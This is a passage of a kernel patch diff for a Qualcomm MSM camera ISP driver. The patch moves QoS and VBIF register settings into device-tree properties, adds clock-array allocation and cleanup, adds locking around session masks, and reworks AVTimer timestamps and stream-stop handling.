msm_vfe_hw_init_parms *ds_parms) { void __iomem *vfebase = vfe_dev->vfe_base; - - if (vfe_dev->vfe_hw_version == VFE40_8974V1_VERSION || - vfe_dev->vfe_hw_version == VFE40_8x26_VERSION || - vfe_dev->vfe_hw_version == VFE40_8x26V2_VERSION) { - msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_0); - msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_1); - msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_2); - msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_3); - msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_4); - msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_5); - msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_6); - msm_camera_io_w(0x0002AAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_7); - } else if (vfe_dev->vfe_hw_version == VFE40_8974V2_VERSION || - vfe_dev->vfe_hw_version == VFE40_8974V3_VERSION) { - msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_0); - msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_1); - msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_2); - msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_3); - msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_4); - msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_5); - msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_6); - msm_camera_io_w(0x0001AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_7); - } else if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION) { - msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_0); - msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_1); - msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_2); - msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_3); - msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_4); - msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_5); - msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_6); - msm_camera_io_w(0x0001AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_7); + struct device_node *of_node; + uint32_t *ds_settings = NULL, *ds_regs = NULL, ds_entries = 0; + int32_t i = 0 , rc = 0; + uint32_t *qos_settings = NULL, *qos_regs = NULL, qos_entries = 0; + of_node = vfe_dev->pdev->dev.of_node; + + rc = of_property_read_u32(of_node, qos_parms->entries, + &qos_entries); + if (rc < 0 || !qos_entries) { + pr_err("%s: NO QOS entries found\n", __func__); } else { - BUG(); - pr_err("%s: QOS is NOT configured for HW Version %x\n", - __func__, vfe_dev->vfe_hw_version); + qos_settings = kzalloc(sizeof(uint32_t) * qos_entries, + GFP_KERNEL); + if (!qos_settings) { + pr_err("%s:%d No memory\n", __func__, __LINE__); + return -ENOMEM; + } + qos_regs = kzalloc(sizeof(uint32_t) * qos_entries, + GFP_KERNEL); + if (!qos_regs) { + pr_err("%s:%d No memory\n", __func__, __LINE__); + kfree(qos_settings); + return -ENOMEM; + } + rc = of_property_read_u32_array(of_node, qos_parms->regs, + qos_regs, qos_entries); + if (rc < 0) { + pr_err("%s: NO QOS BUS BDG info\n", __func__); + kfree(qos_settings); + kfree(qos_regs); + } else { + if (qos_parms->settings) { + rc = of_property_read_u32_array(of_node, + qos_parms->settings, + qos_settings, qos_entries); + if (rc < 0) { + pr_err("%s: NO QOS settings\n", + __func__); + kfree(qos_settings); + kfree(qos_regs); + } else { + for (i = 0; i < qos_entries; i++) + msm_camera_io_w(qos_settings[i], + vfebase + qos_regs[i]); + kfree(qos_settings); + kfree(qos_regs); + } + } else { + kfree(qos_settings); + kfree(qos_regs); + } + } } + rc = of_property_read_u32(of_node, ds_parms->entries, + &ds_entries); + if (rc < 0 || !ds_entries) { + pr_err("%s: NO D/S entries found\n", __func__); + } else { + ds_settings = kzalloc(sizeof(uint32_t) * ds_entries, + GFP_KERNEL); + if (!ds_settings) { + pr_err("%s:%d No memory\n", __func__, __LINE__); + return -ENOMEM; + } + ds_regs = kzalloc(sizeof(uint32_t) * ds_entries, + GFP_KERNEL); + if (!ds_regs) { + pr_err("%s:%d No memory\n", __func__, __LINE__); + kfree(ds_settings); + return -ENOMEM; + } + rc = of_property_read_u32_array(of_node, ds_parms->regs, + ds_regs, ds_entries); + if (rc < 0) { + pr_err("%s: NO D/S register info\n", __func__); + kfree(ds_settings); + kfree(ds_regs); + } else { + if (ds_parms->settings) { + rc = of_property_read_u32_array(of_node, + ds_parms->settings, ds_settings, + ds_entries); + if (rc < 0) { + pr_err("%s: NO D/S settings\n", + __func__); + kfree(ds_settings); + kfree(ds_regs); + } else { + for (i = 0; i < ds_entries; i++) + msm_camera_io_w(ds_settings[i], + vfebase + ds_regs[i]); + kfree(ds_regs); + kfree(ds_settings); + } + } else { + kfree(ds_regs); + kfree(ds_settings); + } + } + } + return 0; } -static void msm_vfe40_init_vbif_parms_8974_v1(struct vfe_device *vfe_dev) -{ - void __iomem *vfe_vbif_base = vfe_dev->vfe_vbif_base; - msm_camera_io_w(0x1, - vfe_vbif_base + VFE40_VBIF_CLKON); - msm_camera_io_w(0x01010101, - vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF0); - msm_camera_io_w(0x01010101, - vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF1); - msm_camera_io_w(0x10010110, - vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF2); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF0); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF1); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF2); - msm_camera_io_w(0x00001010, - vfe_vbif_base + VFE40_VBIF_OUT_RD_LIM_CONF0); - msm_camera_io_w(0x00001010, - vfe_vbif_base + VFE40_VBIF_OUT_WR_LIM_CONF0); - msm_camera_io_w(0x00000707, - vfe_vbif_base + VFE40_VBIF_DDR_OUT_MAX_BURST); - msm_camera_io_w(0x00000707, - vfe_vbif_base + VFE40_VBIF_OCMEM_OUT_MAX_BURST); - msm_camera_io_w(0x00000030, - vfe_vbif_base + VFE40_VBIF_ARB_CTL); - msm_camera_io_w(0x00000FFF, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO_EN); - msm_camera_io_w(0x0FFF0FFF, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO); - msm_camera_io_w(0x00000001, - vfe_vbif_base + VFE40_VBIF_ROUND_ROBIN_QOS_ARB); - msm_camera_io_w(0x22222222, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF0); - msm_camera_io_w(0x00002222, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF1); - return; -} - -static void msm_vfe40_init_vbif_parms_8974_v2(struct vfe_device *vfe_dev) -{ - void __iomem *vfe_vbif_base = vfe_dev->vfe_vbif_base; - msm_camera_io_w(0x1, - vfe_vbif_base + VFE40_VBIF_CLKON); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF0); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF1); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF2); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF0); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF1); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF2); - msm_camera_io_w(0x00000010, - vfe_vbif_base + VFE40_VBIF_OUT_RD_LIM_CONF0); - msm_camera_io_w(0x00000010, - vfe_vbif_base + VFE40_VBIF_OUT_WR_LIM_CONF0); - msm_camera_io_w(0x00000707, - vfe_vbif_base + VFE40_VBIF_DDR_OUT_MAX_BURST); - msm_camera_io_w(0x00000010, - vfe_vbif_base + VFE40_VBIF_ARB_CTL); - msm_camera_io_w(0x00000FFF, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO_EN); - msm_camera_io_w(0x0FFF0FFF, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO); - msm_camera_io_w(0x00000003, - vfe_vbif_base + VFE40_VBIF_ROUND_ROBIN_QOS_ARB); - msm_camera_io_w(0x22222222, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF0); - msm_camera_io_w(0x00002222, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF1); - return; -} - -static void msm_vfe40_init_vbif_parms_8x26(struct vfe_device *vfe_dev) +static int32_t msm_vfe40_init_vbif_parms(struct vfe_device *vfe_dev, + struct msm_vfe_hw_init_parms *vbif_parms) { void __iomem *vfe_vbif_base = vfe_dev->vfe_vbif_base; - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF0); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF1); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF0); - msm_camera_io_w(0x10101010, - vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF1); - msm_camera_io_w(0x00000010, - vfe_vbif_base + VFE40_VBIF_OUT_RD_LIM_CONF0); - msm_camera_io_w(0x00000010, - vfe_vbif_base + VFE40_VBIF_OUT_WR_LIM_CONF0); - msm_camera_io_w(0x00000707, - vfe_vbif_base + VFE40_VBIF_DDR_OUT_MAX_BURST); - msm_camera_io_w(0x000000FF, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO_EN); - msm_camera_io_w(0x00FF00FF, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO); - msm_camera_io_w(0x00000003, - vfe_vbif_base + VFE40_VBIF_ROUND_ROBIN_QOS_ARB); - msm_camera_io_w(0x22222222, - vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF0); - return; -} - -static void msm_vfe40_init_vbif_parms(struct vfe_device *vfe_dev) -{ - switch (vfe_dev->vfe_hw_version) { - case VFE40_8974V1_VERSION: - msm_vfe40_init_vbif_parms_8974_v1(vfe_dev); - break; - case VFE40_8974V2_VERSION: - case VFE40_8974V3_VERSION: - msm_vfe40_init_vbif_parms_8974_v2(vfe_dev); - break; - case VFE40_8x26_VERSION: - case VFE40_8x26V2_VERSION: - msm_vfe40_init_vbif_parms_8x26(vfe_dev); - break; - case VFE40_8916_VERSION: - /*Reset hardware values are correct vbif values. - So no need to set*/ - break; - default: - BUG(); - pr_err("%s: VBIF is NOT configured for HW Version %x\n", - __func__, vfe_dev->vfe_hw_version); + struct device_node *of_node; + int32_t i = 0 , rc = 0; + uint32_t *vbif_settings = NULL, *vbif_regs = NULL, vbif_entries = 0; + of_node = vfe_dev->pdev->dev.of_node; + + rc = of_property_read_u32(of_node, vbif_parms->entries, + &vbif_entries); + if (rc < 0 || !vbif_entries) { + pr_err("%s: NO VBIF entries found\n", __func__); + } else { + vbif_settings = kzalloc(sizeof(uint32_t) * vbif_entries, + GFP_KERNEL); + if (!vbif_settings) { + pr_err("%s:%d No memory\n", __func__, __LINE__); + return -ENOMEM; + } + vbif_regs = kzalloc(sizeof(uint32_t) * vbif_entries, + GFP_KERNEL); + if (!vbif_regs) { + pr_err("%s:%d No memory\n", __func__, __LINE__); + kfree(vbif_settings); + return -ENOMEM; + } + rc = of_property_read_u32_array(of_node, vbif_parms->regs, + vbif_regs, vbif_entries); + if (rc < 0) { + pr_err("%s: NO VBIF info\n", __func__); + kfree(vbif_settings); + kfree(vbif_regs); + } else { + rc = of_property_read_u32_array(of_node, + vbif_parms->settings, + vbif_settings, vbif_entries); + if (rc < 0) { + pr_err("%s: NO VBIF settings\n", + __func__); + kfree(vbif_settings); + kfree(vbif_regs); + } else { + for (i = 0; i < vbif_entries; i++) + msm_camera_io_w( + vbif_settings[i], + vfe_vbif_base + vbif_regs[i]); + kfree(vbif_settings); + kfree(vbif_regs); + } + } } - + return 0; } static int msm_vfe40_init_hardware(struct vfe_device *vfe_dev) @@ -280,7 +270,18 @@ static int msm_vfe40_init_hardware(struct vfe_device *vfe_dev) pr_err("msm_isp_get_clk_info() failed\n"); goto fs_failed; } - + if (vfe_dev->num_clk <= 0) { + pr_err("%s: Invalid num of clock\n", __func__); + goto fs_failed; + } else { + vfe_dev->vfe_clk = + kzalloc(sizeof(struct clk *) * vfe_dev->num_clk, + GFP_KERNEL); + if (!vfe_dev->vfe_clk) { + pr_err("%s:%d No memory\n", __func__, __LINE__); + return -ENOMEM; + } + } rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe40_clk_info, vfe_dev->vfe_clk, vfe_dev->num_clk, 1); if (rc < 0) @@ -317,9 +318,9 @@ static int msm_vfe40_init_hardware(struct vfe_device *vfe_dev) msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe40_clk_info, vfe_dev->vfe_clk, vfe_dev->num_clk, 0); clk_enable_failed: - if (vfe_dev->fs_vfe) { + if (vfe_dev->fs_vfe) regulator_disable(vfe_dev->fs_vfe); - } + kfree(vfe_dev->vfe_clk); fs_failed: msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); bus_scale_register_failed: @@ -334,14 +335,57 @@ static void msm_vfe40_release_hardware(struct vfe_device *vfe_dev) iounmap(vfe_dev->vfe_base); msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe40_clk_info, vfe_dev->vfe_clk, vfe_dev->num_clk, 0); + kfree(vfe_dev->vfe_clk); regulator_disable(vfe_dev->fs_vfe); msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); } static void msm_vfe40_init_hardware_reg(struct vfe_device *vfe_dev) { - msm_vfe40_init_qos_parms(vfe_dev); - msm_vfe40_init_vbif_parms(vfe_dev); + + struct msm_vfe_hw_init_parms qos_parms; + struct msm_vfe_hw_init_parms vbif_parms; + struct msm_vfe_hw_init_parms ds_parms; + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + + qos_parms.entries = "qos-entries"; + qos_parms.regs = "qos-regs"; + qos_parms.settings = "qos-settings"; + vbif_parms.entries = "vbif-entries"; + vbif_parms.regs = "vbif-regs"; + vbif_parms.settings = "vbif-settings"; + ds_parms.entries = "ds-entries"; + ds_parms.regs = "ds-regs"; + ds_parms.settings = "ds-settings"; + + switch (vfe_dev->vfe_hw_version) { + case VFE40_8974V1_VERSION: + case VFE40_8x26_VERSION: + case VFE40_8916_VERSION: + case VFE40_8939_VERSION: + break; + case VFE40_8x26V2_VERSION: + qos_parms.settings = "qos-v2-settings"; + break; + case VFE40_8974V2_VERSION: + case VFE40_8974V3_VERSION: + if (vfe_dev->vfe_hw_version == VFE40_8974V2_VERSION) + qos_parms.settings = "qos-v2-settings"; + else + qos_parms.settings = "qos-v3-settings"; + vbif_parms.entries = "vbif-v2-entries"; + vbif_parms.regs = "vbif-v2-regs"; + vbif_parms.settings = "vbif-v2-settings"; + break; + default: + pr_err("%s: QOS and VBIF is NOT configured for HW Version %x\n", + __func__, vfe_dev->vfe_hw_version); + } + + msm_vfe40_init_qos_parms(vfe_dev, &qos_parms, &ds_parms); + msm_vfe40_init_vbif_parms(vfe_dev, &vbif_parms); + /* CGC_OVERRIDE */ msm_camera_io_w(0x3FFFFFFF, vfe_dev->vfe_base + 0x14); msm_camera_io_w(0xC001FF7F, vfe_dev->vfe_base + 0x974); @@ -640,8 +684,8 @@ static long msm_vfe40_reset_hardware(struct vfe_device *vfe_dev , reset_type = ISP_RST_HARD; } rst_val = msm_vfe40_reset_values[reset_type]; + init_completion(&vfe_dev->reset_complete); if (blocking) { - init_completion(&vfe_dev->reset_complete); msm_camera_io_w_mb(rst_val, vfe_dev->vfe_base + 0xC); rc = wait_for_completion_timeout( &vfe_dev->reset_complete, msecs_to_jiffies(50)); @@ -1088,7 +1132,6 @@ static void msm_vfe40_axi_cfg_wm_reg( struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; uint32_t burst_len = axi_data->burst_len; - uint32_t wm_base = VFE40_WM_BASE(stream_info->wm[plane_idx]); if (!stream_info->frame_based) { diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c index aa60b2afddcda..8e297b5dedc0a 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c @@ -173,7 +173,18 @@ static int msm_vfe44_init_hardware(struct vfe_device *vfe_dev) pr_err("msm_isp_get_clk_info() failed\n"); goto fs_failed; } - + if (vfe_dev->num_clk <= 0) { + pr_err("%s: Invalid num of clock\n", __func__); + goto fs_failed; + } else { + vfe_dev->vfe_clk = + kzalloc(sizeof(struct clk *) * vfe_dev->num_clk, + GFP_KERNEL); + if (!vfe_dev->vfe_clk) { + pr_err("%s:%d No memory\n", __func__, __LINE__); + return -ENOMEM; + } + } rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe44_clk_info, vfe_dev->vfe_clk, vfe_dev->num_clk, 1); if (rc < 0) @@ -211,6 +222,7 @@ static int msm_vfe44_init_hardware(struct vfe_device *vfe_dev) vfe_dev->vfe_clk, vfe_dev->num_clk, 0); clk_enable_failed: regulator_disable(vfe_dev->fs_vfe); + kfree(vfe_dev->vfe_clk); fs_failed: msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); bus_scale_register_failed: @@ -225,6 +237,7 @@ static void msm_vfe44_release_hardware(struct vfe_device *vfe_dev) iounmap(vfe_dev->vfe_base); msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe44_clk_info, vfe_dev->vfe_clk, vfe_dev->num_clk, 0); + kfree(vfe_dev->vfe_clk); regulator_disable(vfe_dev->fs_vfe); msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); } diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c index dbd9995df3e12..9f3e3be17344a 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c @@ -430,7 +430,7 @@ void msm_isp_update_framedrop_reg(struct vfe_device *vfe_dev) } } -static void msm_isp_reset_framedrop(struct vfe_device *vfe_dev, +void msm_isp_reset_framedrop(struct vfe_device *vfe_dev, struct msm_vfe_axi_stream *stream_info) { stream_info->runtime_init_frame_drop = stream_info->init_frame_drop; @@ -446,11 +446,16 @@ void msm_isp_sof_notify(struct vfe_device *vfe_dev, enum msm_vfe_input_src frame_src, struct msm_isp_timestamp *ts) { struct msm_isp_event_data sof_event; uint32_t session_id; + unsigned long flags; + uint16_t session_mask = 0; session_id = vfe_dev->axi_data.src_info[frame_src].session_id; - if (!(vfe_dev->axi_data.session_frame_src_mask[session_id] - & (1 << frame_src))) { - pr_err("%s: Ignoring the Sof for the sourece INTF %d\n", + spin_lock_irqsave(&vfe_dev->sof_lock, flags); + session_mask = vfe_dev->axi_data.session_frame_src_mask[session_id]; + spin_unlock_irqrestore(&vfe_dev->sof_lock, flags); + + if (!(session_mask & (1 << frame_src))) { + pr_err("%s: Ignoring the Sof for the source INTF %d\n", __func__, (1 << frame_src)); return; } @@ -459,17 +464,16 @@ void msm_isp_sof_notify(struct vfe_device *vfe_dev, pr_debug("%s: current mask 0x%X , session mask 0x%X, session_id %d\n", __func__, vfe_dev->axi_data.current_frame_src_mask[session_id], - vfe_dev->axi_data.session_frame_src_mask[session_id], + session_mask, session_id); if ((vfe_dev->axi_data.current_frame_src_mask[session_id] == - vfe_dev->axi_data.session_frame_src_mask[session_id])) { + session_mask)) { vfe_dev->axi_data.current_frame_src_mask[session_id] = 0; vfe_dev->axi_data.frame_id[session_id]++; if (vfe_dev->axi_data.frame_id[session_id] == 0) vfe_dev->axi_data.frame_id[session_id] = 1; - sof_event.input_intf = - vfe_dev->axi_data.session_frame_src_mask[session_id]; + sof_event.input_intf = session_mask; sof_event.frame_id = vfe_dev->axi_data.frame_id[session_id]; sof_event.timestamp = ts->event_time; sof_event.mono_timestamp = ts->buf_time; @@ -563,7 +567,7 @@ void msm_isp_start_avtimer(void) int msm_isp_request_axi_stream(struct vfe_device *vfe_dev, void *arg) { int rc = 0, i; - uint32_t io_format = 0, avtimer_scaler = 0; + uint32_t io_format = 0; struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd = arg; struct msm_vfe_axi_stream *stream_info; struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; @@ -618,28 +622,6 @@ int msm_isp_request_axi_stream(struct vfe_device *vfe_dev, void *arg) if (stream_info->vt_enable) { vfe_dev->vt_enable = stream_info->vt_enable; msm_isp_start_avtimer(); - if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION) { - vfe_dev->p_avtimer_lsw = - ioremap(AVTIMER_LSW_PHY_ADDR_8916, 4); - vfe_dev->p_avtimer_msw = - ioremap(AVTIMER_MSW_PHY_ADDR_8916, 4); - vfe_dev->p_avtimer_ctl = - ioremap(AVTIMER_MODE_CTL_PHY_ADDR_8916, 4); - if (vfe_dev->p_avtimer_ctl) { - avtimer_scaler = - msm_camera_io_r(vfe_dev->p_avtimer_ctl); - /*If bit 2 is set, it indicates AVTimer - ticks are scaled*/ - if (avtimer_scaler & 0x00000002) - vfe_dev->avtimer_scaler = - AVTIMER_TICK_SCALER_8916; - } - } else { - vfe_dev->p_avtimer_lsw = - ioremap(AVTIMER_LSW_PHY_ADDR, 4); - vfe_dev->p_avtimer_msw = - ioremap(AVTIMER_MSW_PHY_ADDR, 4); - } } if (stream_info->num_planes > 1) { msm_isp_axi_reserve_comp_mask( @@ -906,28 +888,32 @@ static int msm_isp_cfg_ping_pong_address(struct vfe_device *vfe_dev, return rc; } -static inline void msm_isp_get_vt_tstamp(struct vfe_device *vfe_dev, - struct msm_isp_timestamp *time_stamp) +static inline void msm_isp_get_avtimer_ts( + struct msm_isp_timestamp *time_stamp) { - uint32_t avtimer_msw_1st = 0, avtimer_lsw = 0; - uint32_t avtimer_msw_2nd = 0; - uint64_t av_timer_tick = 0; - - if (!vfe_dev->p_avtimer_msw || !vfe_dev->p_avtimer_lsw) { - pr_err("%s: ioremap failed\n", __func__); + int rc = 0; + uint32_t avtimer_usec = 0; + uint64_t avtimer_tick = 0; +#ifdef CONFIG_MSM_AVTIMER + rc = avcs_core_query_timer(&avtimer_tick); +#else + pr_err("%s:AVTimer driver not available\n", __func__); + rc = -1; +#endif + if (rc < 0) { + pr_err("%s: Error: Invalid AVTimer Tick, rc=%d\n", + __func__, rc); + /*In case of error return zero AVTimer Tick Value*/ + time_stamp->vt_time.tv_sec = 0; + time_stamp->vt_time.tv_usec = 0; return; + } else { + avtimer_usec = do_div(avtimer_tick, USEC_PER_SEC); + time_stamp->vt_time.tv_sec = (uint32_t)(avtimer_tick); + time_stamp->vt_time.tv_usec = avtimer_usec; + pr_debug("%s: AVTimer TS = %u:%u\n", __func__, + (uint32_t)(avtimer_tick), avtimer_usec); } - - do { - avtimer_msw_1st = msm_camera_io_r(vfe_dev->p_avtimer_msw); - avtimer_lsw = msm_camera_io_r(vfe_dev->p_avtimer_lsw); - avtimer_msw_2nd = msm_camera_io_r(vfe_dev->p_avtimer_msw); - } while (avtimer_msw_1st != avtimer_msw_2nd); - av_timer_tick = ((uint64_t)avtimer_msw_1st << 32) | avtimer_lsw; - do_div(av_timer_tick, vfe_dev->avtimer_scaler); - avtimer_lsw = do_div(av_timer_tick, USEC_PER_SEC); - time_stamp->vt_time.tv_sec = (uint32_t)(av_timer_tick); - time_stamp->vt_time.tv_usec = avtimer_lsw; } static void msm_isp_process_done_buf(struct vfe_device *vfe_dev, @@ -946,7 +932,7 @@ static void msm_isp_process_done_buf(struct vfe_device *vfe_dev, if (buf && ts) { if (vfe_dev->vt_enable) { - msm_isp_get_vt_tstamp(vfe_dev, ts); + msm_isp_get_avtimer_ts(ts); time_stamp = &ts->vt_time; } else @@ -1125,7 +1111,7 @@ static void msm_isp_update_rdi_output_count( } } -static uint8_t msm_isp_get_curr_stream_cnt( +uint8_t msm_isp_get_curr_stream_cnt( struct vfe_device *vfe_dev) { uint8_t curr_stream_cnt = 0; @@ -1381,15 +1367,21 @@ static int msm_isp_stop_axi_stream(struct vfe_device *vfe_dev, { int i, rc = 0; uint8_t wait_for_complete = 0, cur_stream_cnt = 0; - struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_stream *stream_info = NULL; struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; uint16_t session_mask = 0; uint32_t session_id = 0; uint8_t skip_session_mask_update = 0; + unsigned long flags; - if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) + if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM || + stream_cfg_cmd->num_streams == 0) return -EINVAL; + msm_isp_update_camif_output_count(vfe_dev, stream_cfg_cmd); + msm_isp_update_rdi_output_count(vfe_dev, stream_cfg_cmd); + cur_stream_cnt = msm_isp_get_curr_stream_cnt(vfe_dev); + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) > MAX_NUM_STREAM) { @@ -1399,52 +1391,29 @@ static int msm_isp_stop_axi_stream(struct vfe_device *vfe_dev, HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; stream_info->state = STOP_PENDING; - if (stream_info->stream_src == CAMIF_RAW || - stream_info->stream_src == IDEAL_RAW) { - /* We dont get reg update IRQ for raw snapshot - * so frame skip cant be ocnfigured - */ - wait_for_complete = 1; - } else if (stream_info->stream_type == BURST_STREAM && - stream_info->runtime_num_burst_capture == 0) { - /* Configure AXI writemasters to stop immediately - * since for burst case, write masters already skip - * all frames. - */ - if (stream_info->stream_src == RDI_INTF_0 || - stream_info->stream_src == RDI_INTF_1 || - stream_info->stream_src == RDI_INTF_2) - wait_for_complete = 1; - else { - msm_isp_axi_stream_enable_cfg(vfe_dev, stream_info); - stream_info->state = INACTIVE; - } - } else { - wait_for_complete = 1; - } session_id = stream_info->session_id; if (!session_mask) session_mask = vfe_dev->axi_data. session_frame_src_mask[session_id]; + if (cur_stream_cnt > 0) + wait_for_complete = 1; if (SRC_TO_INTF(stream_info->stream_src) == VFE_PIX_0) { if ((vfe_dev->axi_data. src_info[SRC_TO_INTF(stream_info->stream_src)]. - pix_stream_count <= 1) && (vfe_dev->axi_data. + pix_stream_count + vfe_dev->axi_data. src_info[SRC_TO_INTF(stream_info->stream_src)]. - raw_stream_count <= 1)) { + raw_stream_count) >= 1) + skip_session_mask_update = 1; + else session_mask &= ~(1 << SRC_TO_INTF( stream_info->stream_src)); - if (stream_info->stream_type == - BURST_STREAM) - skip_session_mask_update = 1; - } } else { session_mask &= ~(1 << SRC_TO_INTF(stream_info->stream_src)); } - } + if (wait_for_complete) { rc = msm_isp_axi_wait_for_cfg_done(vfe_dev, camif_update); if (rc < 0) { @@ -1459,12 +1428,26 @@ static int msm_isp_stop_axi_stream(struct vfe_device *vfe_dev, stream_info->state = INACTIVE; } } + } else { + pr_err("%s: Stop Immediately! stream_id=%d\n", __func__, + stream_info->stream_id); + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX( + stream_cfg_cmd->stream_handle[i])]; + stream_info->state = STOP_PENDING; + msm_isp_axi_stream_enable_cfg( + vfe_dev, stream_info); + stream_info->state = INACTIVE; + } } if (!skip_session_mask_update) { if (session_mask == 0) vfe_dev->axi_data.frame_id[session_id] = 0; + spin_lock_irqsave(&vfe_dev->sof_lock, flags); vfe_dev->axi_data. session_frame_src_mask[session_id] = session_mask; + spin_unlock_irqrestore(&vfe_dev->sof_lock, flags); } msm_isp_update_stream_bandwidth(vfe_dev); if (camif_update == DISABLE_CAMIF) @@ -1473,12 +1456,9 @@ static int msm_isp_stop_axi_stream(struct vfe_device *vfe_dev, else if (camif_update == DISABLE_CAMIF_IMMEDIATELY) vfe_dev->hw_info->vfe_ops.core_ops. update_camif_state(vfe_dev, DISABLE_CAMIF_IMMEDIATELY); - msm_isp_update_camif_output_count(vfe_dev, stream_cfg_cmd); - msm_isp_update_rdi_output_count(vfe_dev, stream_cfg_cmd); - cur_stream_cnt = msm_isp_get_curr_stream_cnt(vfe_dev); + if (cur_stream_cnt == 0) { - if (camif_update == DISABLE_CAMIF_IMMEDIATELY) - vfe_dev->hw_info->vfe_ops.axi_ops.halt(vfe_dev, 